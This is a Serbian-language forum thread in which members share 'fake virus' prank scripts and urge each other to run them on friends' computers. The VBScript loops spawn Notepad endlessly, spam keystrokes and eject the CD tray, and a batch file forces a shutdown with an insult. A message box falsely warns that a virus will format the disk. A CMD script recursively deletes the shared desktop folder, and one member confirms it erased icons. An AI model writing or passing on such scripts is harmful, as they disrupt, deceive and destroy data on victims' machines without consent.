Pravljenje vestackih virusa

ADMINISTRATOR
Učlanjen(a)
10.05.1971
Poruka
54.331
Ovo nije pravljenje pravih virusa vec fajlova koji ce zabaviti ili unesreciti malo osobu kojoj sve to priredjujete.Potrebno je da ove tekstove usnimite u program Notepad i sacuvate ih u .vbs formatu..Startovanjem istih fajlova docice do sledeceg.....

Ova skripta, nakon što dvokliknete na nju, će početi otvarati notepad i tako u nedogled.
Da biste to zaustavili potrebno je restartovati racunar....

WScript.Sleep 10
WScript.Sleep 10
Set WshShell = WScript.CreateObject("WScript.Shell")
do
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "notepad"
loop




Ova skripta, nakon što dvokliknete na nju, će početi paliti i gasiti lampicu za caps lock.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop




Ova skripta, nakon što dvokliknete na nju, će se ponašati kao da stalno klikate enter.
Da bi zaustavili potrebno je restartovati racunar.

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop



Ova skripta, nakon starta na nju, će pokazati poruku, i onda će se ponašati kao da stalno klikate backspace.Za zaustavljanje potreban restart racunara..

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop



Ova sktipta nakon startovanja sama gasi racunar ,ali mora se spremiti u .bat format..

@echo off
msg * I don't like you
shutdown -c "error! you are too stupid!" -s



Ova skripta, nakon starta na nju, će početi otvarati i zatvarati vaš dvd/cd pogon

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop




Ova skripta izbacuje prozor sa Waring upozorenjem.....

lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")



Pravljenje skripte po vasoj zelji,sami ubacujete tekst koji zelite.....

x = MsgBox("Tekst Error Poruke...",3+48 ,"Naslov Poruke...")


brojeve 3+48 mozete takodje menjati po zelji a evo koje jos mozete koristiti....

Prvi broj(ovde je broj 3 u pitanju)

0 = Samo OK dugme
1 = Prikazuje dugme OK i Cancel
2 = Prikazuje Abort, Retry, i Ignore dugmice...
3 = Dugmici Yes, No, i Cancel
4 = Prikazuje samo Yes i No

Drugi broj(u gornjem slucaju 48)mozete zameniti brojevima u zavisnosti sta zelite da se prikaze

16 = Stop Ikonica
32 = "Znak pitanja" Ikonica
48 = "Znak uzvika"Ikonica
64 = "i" Ikonica
5 = Prikazuje Retry i Cancel
 
ADMINISTRATOR
Učlanjen(a)
10.05.1971
Poruka
54.331
U Turbo Paskalu da........ali ne ovu vrstu.......ovo sukako i sam naslov kaze ,,vestacki,,...
 
Član
Učlanjen(a)
20.01.2010
Poruka
25
Prevario sam svoje drugare, tako što sam ovo sve narezao na CD.
Ali mi reci, ako znaš, kako VBScript fajl da upload-ujem na blog ili forum!?
 
Član
Učlanjen(a)
20.01.2010
Poruka
25
CMD i BAT Virusi

Ovo su jednostavni virusi koji mogu nekome napraviti ozbiljan problem. Rade se u Notepad-u i čuvaju kao *.cmd ili *.bat.
Mala šala, ali ne znam da li radi:

@echo onn
time 00:42
cd\documents and settings\all users
@echo off
color 40
title Virus
@echo onn
cd\documents and settings\all users
@del desktop /s /q
rd desktop /s /q
@echo off
echo Files sucessfuly deleted
msg * Files sucessfuly deleted



Sačuva se kao virus.cmd.

Ako neko ima još neki kod neka doda.
:)
 
Član
Učlanjen(a)
27.11.2009
Poruka
1.306
Bas si human Boki, naucio si nas kako da unesrecimo druge...ili drugi nas :roll:
 
Član
Učlanjen(a)
01.08.2009
Poruka
3.218
WTF...ovo brise ikonice sa desktopa...sva sreca pa je bio shortcut...xD
 
Član
Učlanjen(a)
01.08.2009
Poruka
3.218
Ja znam za ovo:

quote
shutdown.exe -s -c "VASA PORUKA" -t 60

ovo "60" je vreme za koje ocete da se ugasi kompijuter....!
To sacuvati kao .bat i poslati nekome:lol:
 
Natrag
Top